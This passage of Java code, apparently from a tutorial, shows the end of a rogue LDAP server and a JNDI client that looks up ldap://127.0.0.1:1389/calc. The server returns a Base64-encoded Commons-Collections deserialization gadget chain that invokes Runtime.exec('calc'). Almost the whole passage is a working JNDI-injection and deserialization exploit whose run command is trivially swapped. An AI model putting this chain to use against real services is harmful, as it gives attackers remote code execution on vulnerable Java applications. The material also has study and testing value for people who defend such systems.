e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class ldap {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
